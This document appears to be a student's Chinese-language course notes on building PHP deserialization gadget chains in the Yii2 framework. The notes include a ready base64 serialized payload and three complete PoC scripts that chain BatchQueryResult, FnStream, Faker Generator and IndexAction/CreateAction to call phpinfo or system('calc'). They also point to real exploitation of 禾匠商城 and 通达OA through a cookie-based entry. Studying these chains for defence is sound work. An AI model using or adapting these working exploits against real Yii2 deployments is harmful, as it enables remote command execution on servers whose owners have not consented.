yii是和tp一樣的框架?
入口文件
web目錄下
相對tp比較簡單一些,對比tp找一下他的url結構
對應的位置結構
這個contorllers文件的actionindex就是觸發的方法
控制器,指向的index文件,就可以去視圖模塊看index文件
這就是前端展示的文件
自己創建個新的文件訪問試試
訪問到了test/test文件,返回了123,這個需要文件名字和上一個模板原因,利用類的格式也是,都需要調用,跟tp差不多
例如有反序列化入口怎么構造poc
這里就有接受序列化數值,并且進行反序列化操作的入口
思路和tp一樣,
全局搜索銷毀函數
來到這個文件下
記錄一下文件名字和類
跟蹤一下reset
跟到這里就沒有了,close跟到也是沒什么東西,但這里datareader是可控的,可以賦值給一個不存在的方法,觸發--call
這里用到第二個思路,直接找call_user_func? 逆跟
搜到了一個,同文件下面還有一個close方法直接返回func的值
這里記錄一下命名空間和類,用到close方法
這里就已經可以構造鏈了
在這里讓datareader等于 new? FnStream這個對象再去觸發close的時候就等于觸發的FnStream對象的close
開始構造pop鏈
這里按照筆記順序先寫上面的再寫下面的
先寫個固定模板
這里就是use? 第一個命名空間和類,然后聲明一個新的對象
然后在上面寫第一個鏈
第一個鏈寫好之后就想辦法給_fn_close可控,造成危害
然后在第一個鏈上面寫第二個鏈
生成base64加密的反序列化值
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoyNDoiR3V6emxlSHR0cFxQc3I3XEZuU3RyZWFtIjoxOntzOjk6Il9mbl9jbG9zZSI7czo3OiJwaHBpbmZvIjt9fQ
代碼執行成功
看一下debug流程
直接看觸發銷毀函數的地方
datareader等于要觸發類
到close的時候就執行了phpinfo
poc1
<?php
namespace GuzzleHttp\Psr7{//第二個鏈命名空間class FnStream{//第二個鏈的類var $_fn_close="phpinfo";//創建變量值為phpinfo}
}namespace yii\db{//第一個鏈的命名空間use GuzzleHttp\Psr7\FnStream;//因為調用FnStream類所以需要包含這個類class BatchQueryResult{//第一個鏈的類private $_dataReader;//變量值public function __construct()//創建方法{$this->_dataReader = new FnStream();//變量賦值為FnStream}}
}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize( new BatchQueryResult()));//new是為了調用BatchQueryResult形成__destruct()-》reset()}
第二個鏈
給一個不存在的方法去出發--call
全局搜索看看可利用的call
記錄文件名字,命名空間和類
然后跟蹤一下format
看到了func-array,但是很遺憾,變量arguments被固定了,沒法利用
然后這個人就去找單函數的
全局搜call_user_func(
關于兩個值,在本文將沒有看到,就轉到聲明
這兩個賦值就可以
ok,開始構造鏈
poc2
<?phpnamespace yii\rest{class IndexAction{public $checkAccess='system';public $id='calc';}
}namespace Faker{use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new IndexAction(),'run'];//數組格式賦值,控制第一個值調用run方法}}
}namespace yii\db{//第一個鏈的命名空間,因為來源于第一個鏈的命名空間use Faker\Generator;//因為調用Generator類所以需要包含這個類class BatchQueryResult{//第一個鏈的類private $_dataReader;//變量值public function __construct()//創建方法{$this->_dataReader = new Generator();//c出發時不沉溺在方法call}}
}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize( new BatchQueryResult()));//new是為了調用BatchQueryResult形成__destruct()-》reset()}
動態調試看看
運行流程
在close時候給的方法不存在此文件,調用了call
這里數組格式賦值調用了indexaction的run方法
第三鏈
這里又搜索到一個一樣的
構造一下鏈
<?phpnamespace yii\rest{class CreateAction{public $checkAccess='system';public $id='calc';}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new CreateAction(),'run'];//數組格式賦值,控制第一個值調用run方法}}
}namespace yii\db{//第一個鏈的命名空間,因為來源于第一個鏈的命名空間use Faker\Generator;//因為調用Generator類所以需要包含這個類class BatchQueryResult{//第一個鏈的類private $_dataReader;//變量值public function __construct()//創建方法{$this->_dataReader = new Generator();//c出發時不沉溺在方法call}}
}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize( new BatchQueryResult()));//new是為了調用BatchQueryResult形成__destruct()-》reset()}
就只修改第三段鏈就可以了,而且也只是改一下類和命名空間
每一個鏈引用的文件都是不一樣的,所以多條鏈路就是挨個調用所需要的類和方法
而這個是要在框架被開發的時候,出現了接受反序列化值而且我們可控可以這個值,就會造成反序列化命令執行漏洞
梳理流程txt文件
vendor/yiisoft/yii2/db/BatchQueryResult.php
__destruct()-》reset()
命名空間:namespace yii\db; ?類:class BatchQueryResult ? ? ?
vendor/yiisoft/yii2/db/BatchQueryResult.php
_dataReader(可賦值)
命名空間:namespace yii\db; ?類:class BatchQueryResult
_dataReader=new FnStream -》close()
namespace GuzzleHttp\Psr7; class FnStream
close()
return call_user_func($this->_fn_close);
第一個思路,直接找call-user-func??逆跟
poc2
vendor/yiisoft/yii2/db/BatchQueryResult.php
__destruct()-》reset()
命名空間:namespace yii\db; ?類:class BatchQueryResult ? ? ?
vendor/yiisoft/yii2/db/BatchQueryResult.php
_dataReader(可賦值)
命名空間:namespace yii\db; ?類:class BatchQueryResult
_dataReader=錯誤方法 -》call方法
vendor/fzaninotto/faker/src/Faker/Generator.php
namespace Faker; ?class Generator
call()->format()->call_user_func_array();;formattters('close') = [new indexaction(),'run']
call_user_func_array($this->getFormatter($formatter), $arguments);$arguments被固定了
但可以控制$formatter調用方法
call_user_func_array(“new IndexAction.run()”就能調用下一個鏈執行命令
vendor/yiisoft/yii2/rest/IndexAction.php
namespace yii\rest; class IndexAction
call_user_func($this->checkAccess, $this->id);
poc3
vendor/yiisoft/yii2/rest/CreateAction.php
namespace yii\rest; ?class CreateAction
call_user_func($this->checkAccess, $this->id);
案例一 禾匠商城
https://zhuanlan.zhihu.com/p/526291918
就在這里因為json-decode失敗之后
就會進入變量res = unseriailize反序列化執行
就可以利用剛剛寫好的鏈
案例二 通達oa反序列化
奇安信攻防社區-通達OA反序列化分析
使用了yii2.0.13版本
正常解密源碼
怎么判斷是yii框架
一艘關鍵字,getversion就找到了這個,文件名字也是yii
這個方法使用了unserialize函數
這里就使用了反推方法,先找了最后觸發點,然后往前找
在全局搜索
這里引用過
搜索到loadcsrftokne引用過
getcsrftoken引用過
最后csrgmatggs引用過
這就馬上就能找到入口文件了
看poc。入口是以cookie發送過去,訪問
/general/appbuilder/web/portal/gateway/
目錄
變量data就是cookie里面的數據
但是原有的鏈用不了,都被改了
就只能自己在找新的反序列化鏈
前面流程在找到close方法都是一樣的
close方法發送了更改,然后在找call方法
然后剩下的看鏈接地址,里面有挨個鏈路分析,挺長的
額,這節課感覺小迪留后手了,講的很水
jian
kang